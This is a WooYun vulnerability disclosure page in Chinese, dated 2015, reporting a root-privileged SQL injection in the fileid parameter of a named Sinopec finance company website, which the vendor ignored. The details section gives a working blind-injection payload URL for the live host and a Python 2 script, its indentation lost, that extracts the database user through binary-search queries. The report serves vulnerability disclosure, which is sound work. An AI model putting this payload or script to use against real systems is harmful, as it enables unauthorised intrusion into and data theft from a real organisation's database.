当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0158362

漏洞标题:中石化某重要系统存在root权限注入漏洞(附验证脚本)

相关厂商:中国石油化工股份有限公司

漏洞作者: 眼镜蛇

提交时间:2015-12-04 20:20

修复时间:2015-12-09 20:22

公开时间:2015-12-09 20:22

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:18

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-04: 细节已通知厂商并且等待厂商处理中
2015-12-09: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

中石化某重要系统存在root权限注入漏洞

详细说明:

http://www.sfc.sinopec.com/
中国石化财务有限责任公司是经中国人民银行批准,1988年7月8日成立,在国家工商总局注册,中国银行业监督管理委员会直接监管的非银行金融机构。公司注册资本100亿元(含6000万美元),中国石油化工集团公司出资51%,中国石油化工股份有限公司出资49%。

http://www.sfc.sinopec.com/image.aspx?fileid=1%27xor%28extractvalue%281,if%28ascii%28substr%28user%28%29,1,1%29%29%3E1,1,0x22%29%29%29or%271


虽然有WAF 但是过滤不严格
fileid存在注入漏洞,验证脚本:

import sys,urllib2
from optparse import OptionParser
from urllib2 import Request,urlopen,URLError,HTTPError
import urllib
result=''
def request(URL,data):

req = urllib2.Request(URL, data, user_agent)
try:
request = urllib2.urlopen(req)
except HTTPError, e:
if e.code == 500:
return 'Runtime Error'
except URLError, e:

sys.exit(1)
return request.read()
def binary_sqli(left, right, index):
global result
while 1:
mid = (left + right)/2
if (right-left==1):
result += chr(right)
print 'user(): ' ,result
break
payload = "1'xor(extractvalue(1,if(ascii(substr(user(),%s,1))>%s,1,0x22)))or'1" % (index, mid)
print payload

html = request('http://www.sfc.sinopec.com/image.aspx?fileid='+payload,None)

verify = 'TExif'
if verify in html:
left = mid
else:
right = mid
if __name__ == '__main__':
for i in range(1,21):
binary_sqli(32, 127, i)

漏洞证明:

当前数据库账户:root

1.png


修复方案:

参数过滤

版权声明:转载请注明来源 眼镜蛇@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-12-09 20:22

厂商回复:

漏洞Rank:4 (WooYun评价)

最新状态:

暂无


漏洞评价:

评价